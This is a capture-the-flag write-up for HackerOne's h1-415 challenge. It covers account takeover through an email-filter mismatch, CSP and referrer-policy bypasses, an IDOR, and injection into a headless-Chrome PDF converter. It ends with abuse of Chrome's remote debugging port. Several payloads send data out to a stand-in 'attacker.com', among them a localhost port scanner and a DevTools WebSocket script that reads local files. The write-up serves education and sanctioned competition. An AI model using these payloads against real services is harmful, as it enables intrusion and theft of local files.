Write-up for #h1415’s CTF challenge

While browsing Twitter for my daily dose of cat pics I came across a call for help requesting the aid of hackers all around the world to recover @jobertabma’s important document.

😱 Apparently @jobertabma has lost access to his account and there's an important document we need to retrieve from this site. Can you retrieve the document before he does? An all-expense ticket for #h1415 could await. https://t.co/L4Pj3PVrD7 #h1415

— HackerOne (@Hacker0x01) January 15, 2020

Jokes aside, as a security researcher, one of the channels I use to consume infosec content is Twitter. It was this way I stumbled upon @Hacker0x1’s newest CTF challenge.

I was drawn in immediately – the first 5 solvers would win a cool swag pack (including a dope hoodie) and the two best write-ups would get an all-expenses-paid trip to San Francisco and have a chance to hack at h1-415.

Having played CTFs for the past few years for Epic Leet Team and having participated in one of the previous editions of HackerOne’s CTF (h15411 CTF edition) I decided to challenge myself again and see whether I would be able to solve this one.

After reading the rules at https://hackerone.com/h1-415-ctf, I accessed the CTF’s page on https://h1-415.h1ctf.com and started hacking :)

Overview


Here’s a quick visual representation of the solution for this challenge, hopefully it will help people get situated! Each and every step will be explained in greater detail down below.

Nature of the challenge

Every time I try to solve a CTF challenge I find it useful to approach it as a real bug bounty target. Before looking for any vulnerabilities it’s essential to try to get a good grasp of the application’s scope and the existing functionalities.

“Which are these features? How do they work? What might they be vulnerable to?” – These are some of the questions I like to ask myself before getting my hands dirty.

The home page is intuitive enough, both before and after registering a few things came to attention:

One thing to note is that by looking into the PDF’s source it is possible to infer it was generated by Google Chrome. A hint of what is to come, potentially?

%PDF-1.4 %Óëéá 1 0 obj <</Creator (Chromium) /Producer (Skia/PDF m79) /CreationDate (D:20200122213135+00'00') /ModDate (D:20200122213135+00'00')>> endobj

Plucking low hanging fruits

After making these initial observations it was clear to me there was an explicit connection between the PDF generation and the user’s account name - a possible entry point to get started.

My first hypothesis was that it might be possible to execute javascript [1] in the PDF’s context by changing my username to HTML on the “Settings” tab.

This idea was quickly rejected since I soon learned the input was being sanitized.

During the tests I also noticed a hidden input named user_id.

<form action="/settings" method="POST"> [...] <input type="hidden" name="_csrf_token"> <input type="hidden" name="user_id" value="1337"> <div class="form-group pt-1"> <input type="submit" class="btn btn-outline-primary" value="Save"> </div> </form>

Another idea I had was to test it for an IDOR [2] - even if I couldn’t see any immediate applicability for this in the context of the challenge, I still tried to change another user’s name anyways.

This proved equally unsuccessful.

I also tried to test other inputs for XSS, SQL Injection [3] and a few other common vulnerabilities, but none amounted to anything, except for an open redirect as a consolation prize.

https://h1-415.h1ctf.com/documents?return_url=https://example.org

It would seem the entry point lied elsewhere…

Smoke and mirrors

After a series of unsuccessful attempts, the next features I decided to explore was the registration & account recovery functionalities.

Decoding the account recovery QR code resulted in the following string:

6865727265726140746573742e636f6d:d98167dfe750b16d99c1b83dda63942e1b7226d1d1e67df956f7e72d9688e265d1a38b34b268b617ec464bce36bc08e4a8284e66c519fb1e625ea4511c5c8a15dd18614f771efdb8b57984d84f41a94c6f845d3c361769c6ac65824c2ae4587f630e09fe5906dd0d01d91f36e15540c0690b3c4e9b3aefc91af6a5e9d8feff2e

Both parts appeared to be encoded in hex - the first part could be decoded to the user’s registered email.

$ python -i > bytes.fromhex("6865727265726140746573742e636f6d") b'herrera@test.com'

And the second part looked like what I assumed to be some kind of cryptographic hash.

As previously noted in the initial analysis of the challenge, we were provided with Jobert’s email in the source code.

<div class="carousel-item"> [...] <blockquote class="blockquote mt-2"> <footer class="blockquote-footer" data-email="jobert@mydocz.cosmic"> Jobert </footer> </blockquote> </div>

This made me believe that perhaps there was a way to generate a valid hash using his email that would authenticate me into Jobert’s account (through a collision, maybe?)

I’m not too crypto-savvy, I gave some thought to vectors I knew - length extension attack [4] and padding oracle attack [5] but after frustratingly long hours, I couldn’t really get anywhere.

Either this was a crypto stage that had me beaten, or I was overlooking an alternative path.

I took the optimistic route and tried to tackle this problem differently.

Not all roads lead to Rome

I couldn’t create a valid hash for Jobert’s account by breaking its cryptography but I still had the intuition that it could be done some other way.

With a new approach in mind I took baby steps and tried to create accounts with Jobert’s email followed by spaces and/or null bytes - but I was returned a message indicating the account already existed.

It seemed like these characters were being filtered out pre-registration.

After tinkering with the registration for a long while and getting stuck again I recalled an article that had been recently published - it detailed an account takeover on Github involving Unicode characters and the process of recovering one’s account.

As explained in the article [6]:

(…) One lesser known occurrence is Unicode Case Mapping Collisions. Loosely speaking, a collision occurs when two different characters are uppercased or lowercased into the same character. This effect is found commonly at the boundary between two different protocols, like email and domain names.

I wondered if this might be the case here. After taking a look at Jobert’s email I saw that the only character that could be potentially collided was the i (through the Turkish dotless i).

So I registered a spoofed email (jobert@mydocz.cosmıc) and went to see the result anxiously.

After decoding both the QR code and the hex within it I was met with the following string for the email’s part.

jobert@mydocz.xn--cosmc-q4a

Sadly they were correctly converting the Unicodes contained in the email into Punycode [7].

Punycode is a representation of Unicode with the limited ASCII character subset used for Internet hostnames. Using Punycode, host names containing Unicode characters are transcoded to a subset of ASCII consisting of letters, digits, and hyphen, which is called the Letter-Digit-Hyphen (LDH) subset.

Close, but no cigar :(

Something ends, something begins

Since the Unicode attack didn’t work, perhaps there could be a different but similar type of conversion occurring behind the scenes.

I decided to test this hypothesis - first I imported a string of printable characters on python (removing newlines, spaces, tabs - since I had already tinkered with them to no avail) and registered a new account:

$ python -i > import string > "herrera@test.com" + string.printable[:94] herrera@test.com0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~'

At the “Settings” tab the email appeared exactly as I had registered it, all printable characters were included - however upon closer inspection of the generated account recovery QR code, I noticed a peculiarity:


(diff between email extracted from the QR code vs actual registered email)

YES!

This was exactly what I hoped for! There was a divergence between the actual registered email that was saved in the database, and the email used to generate the hash that was stored in the QR code - some characters were being filtered out, namely < and > & { and }.

From the characters excluded, I suspect this behavior was happening because of a filter trying to prevent XSS-es and template injections [8].

What I needed to do next was slowly becoming clearer.

I created a new account by appending one of the characters which were being filtered out to Jobert’s email and voilá!

This resulted in a QR code for the recovery of the “jobert@mydocz.cosmic” account as opposed to the QR code for the recovery of the “jobert@mydocz.cosmic<” account I had registered.

I used the recovery account functionality to upload the spoofed QR code and was authenticated into Jobert’s real account.

I was finally ready to proceed to the next part of the challenge!

Crossroads

After successfully logging into Jobert’s account, the only noticeable change was that now I had access to the “Support chat” feature - which was disabled by default on trial accounts.

I chatted with the bot a bit but their response messages were not very useful. Then I decided to check whether this functionality was vulnerable to any kind of injection.

I started by sending a simple XSS payload (<img src="xyz" onerror="alert(1)">) and to my surprise, the image tag was reflected into the response - however there was no alert dialog prompted.

Looking into Chrome’s DevTools it was clear what had happened.

The request for the image at /xyz was successfully sent, but the javascript on the onerror attribute was blocked by the Content Security Policy (CSP) [9].

I took a closer look into the script-src directive and it felt familiar. It was when I remembered a tweet by @SecurityMB where he wrote about a CSP bypass in a similar context.

If CSP policy points to a dir and you use %2f to encode "/", it is still considered to be inside the dir. All browsers seem to agree on that.

This leads to a possible bypass, by using "%2f..%2f" if server decodes it, example: https://t.co/Dl9hkKtlQc pic.twitter.com/IFIq5G1uwl

— Michał Bentkowski (@SecurityMB) August 17, 2019

Not being familiar with GitHack I had to check what its purpose was. After a quick look, I learned it is used as a proxy for GitHub, Bitbucket and GitLab to serve raw files with the correct Content-Type.

This basically means (for what concerns an attacker) that it is possible to have a file you control under their domain.

If Githack had the same misconfiguration presented in the tweet (server decoding %2f…%2f) then it meant I could also leverage it to bypass the challenge’s CSP in the same way.

But before putting the cart before the horses, first I decided to verify that there was a bot reading the chat and executing my payload, otherwise, what would be the point of bothering with a bypass?

Hacking in a scriptless world

To confirm it I abused the wildcard in the img-src directive (any arbitrary image is allowed to be loaded) - so I sent <img src="https://attacker.com"> as a message and waited for a ping on my server.

But I never got a pong.

After being puzzled I fixed myself some coffee and shifted focus to the HTML of the chat for clues. It was when I noticed there existed a hidden feature that I had overlooked.

<form action="/support/feedback" method="POST">
    <div id="review-modal-body" class="modal-body mt-3">
        <p>Please let us know if our support agent was helpful.</p>
        <span id="star-1" data-rating=1 class="fa fa-star review-star"></span>
        <span id="star-2" data-rating=2 class="fa fa-star review-star"></span>
        <span id="star-3" data-rating=3 class="fa fa-star review-star"></span>
        <span id="star-4" data-rating=4 class="fa fa-star review-star"></span>
        <span id="star-5" data-rating=5 class="fa fa-star review-star"></span>
    </div>
    <p id="report-message" class="text-muted mb-4"></p>
    <div class="modal-footer">
        <input id="rating-input" type="hidden" name="rating" value="3">
        <input type="hidden" name="_csrf_token" value="1337">
        <button type="button" class="btn btn-outline-secondary">Ignore</button>
        <button id="review-button" type="submit" disabled>Submit</button>
    </div>
</form>

Moreover, there was also a message on the script located in /js/support.min.js suggesting that by rating one star as feedback an admin would review the conversation.

$(".review-star").click(function(e) {
    rating = $(this).data("rating");
    for (var t = 1; t <= rating; t++)
        $("#star-" + t).addClass("checked");
    for (t = rating + 1; t <= 5; t++)
        $("#star-" + t).removeClass("checked");
    $("#rating-input").val(rating),
    1 === rating && $("#report-message")
    .text("We're sorry about that. Our team will review this conversation shortly."),
    $("#review-button").attr("disabled", !1)
})

By removing the modal fade class from the review-modal div, the feature’s hidden dialog came to light.

Shortly after rating the support feedback one star (sorry, bot, you did great!), I got a ping in my server. Yay!

Now that I had confirmed the admin was actually visiting and executing my payload (when given a 1-star feedback), I tried to use a card up my sleeve to bypass the necessity for a CSP bypass :p

If you are a really attentive reader, you probably noticed that the Referrer header of the picture above contains only the origin of the page and not its full path.

That is caused because the page sets the header:
Referrer-Policy: strict-origin-when-cross-origin.

But what is not widely known is that:

  1. The Referrer policy isn’t immutable.
  2. The Referrer policy can be set using a meta tag.

The way it works is that every subsequent resource loaded after the policy is changed through the insertion of a new meta-referrer tag will follow the new policy that was set instead of the original one.

This means that if a page has a header like:
Referer-Policy: strict-origin-when-cross-origin

And then the following HTML is injected:

<meta name="referrer" content="unsafe-url"> <img src="https://attacker.com">

The referrer will be leaked to the attacker’s server, even though, originally, the policy was strict-origin-when-cross-origin.

This was exactly what I tried. After sending the above payload as a message and rating support feedback one star, I leaked an interesting URL through the referrer.

An internal service running on port 3000… or was it?

I tried changing http://localhost:3000 to https://h1-415.h1ctf.com and then accessed the URL on my browser, and to my surprise it worked!

So I was able to go to the next stage of the challenge without needing a CSP bypass - which I think was unintended - but I am not complaining :)

Back on track

If you are still wondering whether GitHack was misconfigured and would have allowed a CSP bypass - as I did - the answer is yes!

To verify the claim, I uploaded a javascript file with the following script on one of my GitHub’s repositories.

let img = document.createElement("img"); 
img.src = `https://attacker.com/?referrer=${location.href}`; 
document.body.appendChild(img);

Then, using Githack’s website I converted my file from:

https://raw.githubusercontent.com/lbherrera/writeups/master/h1.js

To:

https://raw.githack.com/lbherrera/writeups/master/h1.js

Next, I sent the following script tag as a message to the bot and gave it a 1-star rating feedback. This forced the admin to access it and execute the payload.

<script src="https://raw.githack.com/mattboldt/typed.js/master/lib/..%252f..%252f..%252f..%252flbherrera/writeups/master/h1.js"></script>

The path traversal would not be decoded directly by the browser (because …/ is URL encoded). Instead, the server would decode it (because of a misconfiguration).

This would fool the browser into thinking it was loading a script from https://raw.githack.com/mattboldt/typed.js/master/lib/ - and this is allowed because it matches the script-src directive.

But in reality, it would be loading https://raw.githack.com/lbherrera/writeups/master/h1.js - which is a script I control.

Both attacks would have allowed you to proceed to the next step.

Déjà vu

After landing on the new page, there was a button to change the customer’s name and a disabled button used to ban the messaging user.

The ban button didn’t seem to do anything, so I focused on the ability to change the messager’s name.

Initially I tried to change Jobert’s name to something else, but surprisingly I was not able to, instead I was met with the following message:

{"result":"can't update this user"}

Then I realized that the HTML of this page appeared to be very similar to the one in /settings. It even contained the same hidden user_id input.

But the endpoints were different, so I figured that perhaps the code running on each endpoint might also be different. Unlike the /settings endpoint perhaps this one was vulnerable to an IDOR.

I decided to put this to test. I logged into another account, navigated to /settings and retrieved my account’s user_id.

<form action="/settings" method="POST"> [...] <input type="hidden" name="_csrf_token"> <input type="hidden" name="user_id" value="1337"> <div class="form-group pt-1"> <input type="submit" class="btn btn-outline-primary" value="Save"> </div> </form>

Then I navigated back to https://h1-415.h1ctf.com/support/review/token, changed the hidden user_id input from 2 (Jobert) to 1337 (the id from my account), set the new name input to “Random name” and finally submitted the form.

It worked! The response I got was:

{"result":"success"}

By checking the /settings of my account I confirmed my account’s name had actually changed as I specified.

I followed up by abstracting the request into a curl command to help further testing:

curl -H "Cookie: _csrf_token=token; session=session" \ --data "name=payload&user_id=1337&_csrf_token=token" \ https://h1-415.h1ctf.com/support/review/a7049e..b6084118c4fa

My next thought was that if they forgot to check for IDOR in this endpoint, maybe they also didn’t implement the sanitization on the new name of the user (like they did on /settings).

In the context of the challenge this made sense - as noted before the name of the user was reflected inside the PDF that was generated - if this endpoint wasn’t being properly sanitized it would lead to an XSS inside the PDF.

With that in mind I sent the following request with the objective of changing my account’s name to <img src='https://attacker.com'>.

curl -H "Cookie: _csrf_token=token; session=session" \ --data "name=<img src='//attacker.com'>&user_id=1337&_csrf_token=token" \ https://h1-415.h1ctf.com/support/review/a7049e..b6084118c4fa

Shortly after I checked whether my account’s name had changed to the payload I specified and indeed it had!

At this point, I was pretty sure I was on the right track. I uploaded an image and checked the PDF generated.

The image tag I had included in my username through the use of the IDOR had been reflected in the PDF!

Better yet, I got a ping from the challenge’s server to mine because of it.

Reading a PDF

Upon analyzing the headers of the request I just received I learned two important things:

  1. It was running the latest version (79) of Google Chrome.
  2. The IP of the server that was hosting the PDF converter.

After a quick IP lookup, I saw it was being hosted on Amazon.

With this information at hand I thought of using the XSS inside the PDF to try to:

  1. Read the server’s AWS metadata.
  2. Read local files by inserting a file:// URL in the src attribute of an iframe.

First, like any good hacker, I simplified the steps required to perform the tests. As it were, I would need to use the IDOR to change my account’s name with a different payload and then convert a random image each time I wanted to test something different.

If I were to do that manually it would take too much time and effort.

The solution I found was to use the IDOR to change my account’s name to:

<script>location="http://attacker.com/payload.html"></script>

That way, I would only need to change the payload on my server and not my account’s name through the IDOR.

I followed by creating a simple python script that uploaded a random image to be converted and returned the file’s URL so I could simply access it and check the results.

Starting my tests, I changed the payload.html file on my server to the following in hopes of being able to read the challenge’s server AWS metadata.

<iframe src="http://169.254.169.254" width="600" height="1000"></iframe>

And then I ran my python script. After looking at the generated PDF I was pretty disappointed. The iframe was empty, which meant the IP was not reachable :(

My second try was to read local files, so I changed the payload.html file and re-ran it.

<iframe src="file:///etc/passwd" width="600" height="1000"></iframe>

But it also didn’t work.

As a next move I decided to check if DNS rebinding would be possible - on Google Chrome you need the victim to stay on your page for at least 120 seconds to successfully perform a rebind.

If the bot was not staying that long or if it wasn’t possible to force them to stay, then the possibility of a DNS rebinding attack could be easily discarded.

So I changed my payload.html file to the following code.

<script> let time = 500; setInterval(()=>{ let img = document.createElement("img"); img.src = `https://attacker.com/ping?time=${time}ms`; time += 500; }, 500); </script> <img src="https://attacker.com/delay">

But even by trying to stall the page with an image that would take forever to load the bot only stayed for about 4500ms.

GET /ping?time=4500ms GET /ping?time=4000ms GET /ping?time=3500ms GET /ping?time=2500ms GET /ping?time=2000ms GET /ping?time=1500ms GET /ping?time=1000ms GET /ping?time=500ms

Having discarded the possibility of DNS rebinding, the last option I had in mind was to brute-force open ports running locally - which in hindsight should have been one of the firsts things that I tried.

There are a lot of resources about scanning ports with javascript (check [10] and [11] if you haven’t already, it’s great research material!).

Since there were time constraints involved (four and a half seconds) I needed a fast scanner.

I opted for a method I discovered during one of my researches - both fast and reliable.

The idea behind it is doing fetch with the no-cors mode and then checking whether the request is successful or not. The script is really small.

const checkPort = (port) => { fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = `http://attacker.com/ping?port=${port}`; }); } for(let i=0; i<1000; i++) { checkPort(i); }

The script above will test ports 0 to 1000 and then ping my server for any ports it finds open.

Although this method is fast, because of the mentioned time constraints I chose not to abuse the number of ports I’d scan within each PDF generation.

I settled on a cautious 1K ports scanned per iteration. After a few runs of the script, I found the following ports open:

80 443 3000 9222

Ports 80 and 443 were running the reverse proxy. Port 3000 was running the server. Port 9222 was a new, but a familiar one.

Just to kill any suspicious I still had, I changed my payload.html file to:

<iframe src="http://localhost:9222/" width="600" height="1000"></iframe>

And looked at the generated PDF.

Bingo! I was dealing with Chrome’s Debugging Protocol interface.

Don’t be evil

After realizing what was running on port 9222 I got a big smile on my face.

See, I knew exactly what my adversary was - since I already had used it a few times when organizing my own CTF challenges.

The Chrome DevTools Protocol allows for tools to instrument, inspect, debug and profile Chromium, Chrome and other Blink-based browsers. Many existing projects currently use the protocol. The Chrome DevTools uses this protocol and the team maintains its API.

When Google Chrome is launched with the remote-debugging-port flag, an interface to the DevTools Protocol is enabled on port 9222 as seen on the documentation [12].

After investigating the documentation further one learns of a few interesting endpoints that are made available when Chrome is started with that particular flag enabled.

Naturally, I changed my payload.html file to create an iframe and check whether it was possible to reach the /json/version endpoint on http://localhost:9222.

<iframe src="http://localhost:9222/json/version" width="600" height="1000"> </iframe>

Then I re-ran my script and this was the result:

Nice! I was able to interact and read the response of Chrome’s Debugging Protocol HTTP endpoints.

The next logical step was to try to read all the pages that were open on the browser by requesting /json/list.

<iframe src="http://localhost:9222/json/list" width="600" height="1000"> </iframe>

One script re-run later and unbeknownst to me at the time I was really close to the flag and the end of the challenge.

Besides a few blank pages that were open, there was one page in particular that captured my attention. It made reference to a secret document - exactly what I was looking for when I started to solve this challenge.

I quickly grabbed the filename - 0d0a2d2a3b87c44ed1...9ebe37e6a84ab.pdf - and noticed that the hash contained in it was very similar to the ones in the PDFs that were generated through the use of the “Converter” feature.

So I got hold of the https://h1-415.h1ctf.com/documents/ URL and simply added the hash I got from the /json/list endpoint.

And there it was!

After two full days of hard work and liters of coffee, I was now cosmic.

Plus Ultra

Having had a good night of sleep I woke up the next day curious to see whether it would be possible to read local files or even escalate to an RCE using Chrome’s Debugging Protocol.

I knew the functionalities provided were powerful, but I didn’t know exactly how much.

This challenge presented itself as a good opportunity to do some additional research that might turn fruitful for other occasions. Maybe I could even end up adding a new technique to my toolset?

I started my tests by spawning up a local Chrome instance with the remote-debugging-port flag set.

chrome.exe --remote-debugging-port=9222

To simulate the SSRF I simply navigated to http://localhost:9222/json/list and retrieved the list of all tabs that were currently open in my browser.

The webSocketDebuggerUrl JSON key was the most interesting one to me.

By using a WebSocket it is possible to establish a direct connection to the tab referenced in that key. If we somehow managed to open a local file in the browser, its webSocketDebuggerUrl could then be leaked by reading /json/list.

There was only one obstacle in our way - Google Chrome doesn’t allow you to open local files from the web.

Turning back to the documentation I noticed that there was one HTTP endpoint that I hadn’t tinkered with yet.

It opens a new tab to a specified URL and then returns the WebSocket target data for it. But the protocols supported aren’t mentioned - could this be a way in?

I quickly created the following payload and opened it in my browser.

<iframe src="http://localhost:9222/json/new?file:///C:/" width="600" height="1000"> </iframe>

Not only it opened a new tab to file://C:/, it also returned the webSocketDebuggerUrl to connect to it.

Right after grabbing the webSocketDebuggerUrl I coded a simple script to connect and send an empty message to it.

<script> let id = "4658E360F85ACDB8AC89E36927C8D27E"; let url = `ws://localhost:9222/devtools/page/${id}`; let socket = new WebSocket(url); socket.onopen = (e) => { console.log("[init] Connection established"); socket.send(""); } socket.onerror = (error) => console.log(`[error] ${error.message}`); socket.onmessage = (event) => console.log(`[message] ${event.data}`); </script>

After accessing the payload.html file I got the following message returned:

Progress! I was able to successfully make the connection but it errored out since I had sent an invalid message.

A few Google searches later and I was able to construct a valid message that retrieved all the data of the targeted tab.

<script> let id = "4658E360F85ACDB8AC89E36927C8D27E"; let url = `ws://localhost:9222/devtools/page/${id}`; let socket = new WebSocket(url); let message = { "id": 1337, "method": "Runtime.evaluate", "params": { "expression": "document.body.innerHTML" } } socket.onopen = (e) => { console.log("[init] Connection established"); socket.send(JSON.stringify(message)); } socket.onerror = (error) => console.log(`[error] ${error.message}`); socket.onmessage = (event) => console.log(`[message] ${event.data}`); </script>

Final navigation to payload.html and I now had the content of file:///C:/.

After being able to read a local file on my machine it was time to test my attack on the challenge’s server.

So I change my payload one more time and forced the bot to access it through the injection on the PDF.

<iframe src="http://localhost:9222/json/new?file:///etc/passwd" width="600" height="1000"> </iframe>

From the generated PDF I was then able to get the webSocketDebuggerUrl that was needed for my payload to work.

<script> let id = "1337"; let url = `ws://localhost:9222/devtools/page/${id}`; let socket = new WebSocket(url); let message = { "id": 1337, "method": "Runtime.evaluate", "params": { "expression": "document.body.innerHTML" } } socket.onopen = (e) => { console.log("[init] Connection established"); socket.send(JSON.stringify(message)); } socket.onerror = (error) => console.log(`[error] ${error.message}`); socket.onmessage = (event) => { let img = document.createElement("img"); img.src = `http://attacker.com/data?leak=${btoa(event.data)}`; }; </script>

I then sent the final payload that would exfiltrate the content of file:///etc/passwd but I never received the data back.

After some head-scratching I understood what was happening.

Each time a PDF was generated, a new browser instance was created - and with that - all the tabs were closed. That meant that If I was to steal a local file from the challenge’s server the complete attack would have to happen in a single PDF generation.

But in this particular challenge that was impossible, since the only way to leak the webSocketDebuggerUrl was by reading the PDF - and the PDF was only generated and readable after the browser instance had been killed.

Bummer…

On the other hand, this hopefully can be useful for some of you in the event of finding a reachable Chrome Debugging Protocol interface.

Oh, and let me know if you manage to get a RCE :)

Thanks for reading!


References

[1] - https://portswigger.net/web-security/cross-site-scripting
[2] - https://portswigger.net/web-security/access-control/idor
[3] - https://portswigger.net/web-security/sql-injection
[4] - https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks
[5] - https://en.wikipedia.org/wiki/Padding_oracle_attack
[6] - https://eng.getwisdom.io/hacking-github-with-unicode-dotless-i/
[7] - https://en.wikipedia.org/wiki/Punycode
[8] - https://portswigger.net/research/server-side-template-injection
[9] - https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
[10] - https://portswigger.net/research/exposing-intranets-with-reliable-browser-based-port-scanning
[11] - https://bookgin.tw/2019/01/05/abusing-dns-browser-based-port-scanning-and-dns-rebinding/
[12] - https://chromedevtools.github.io/devtools-protocol/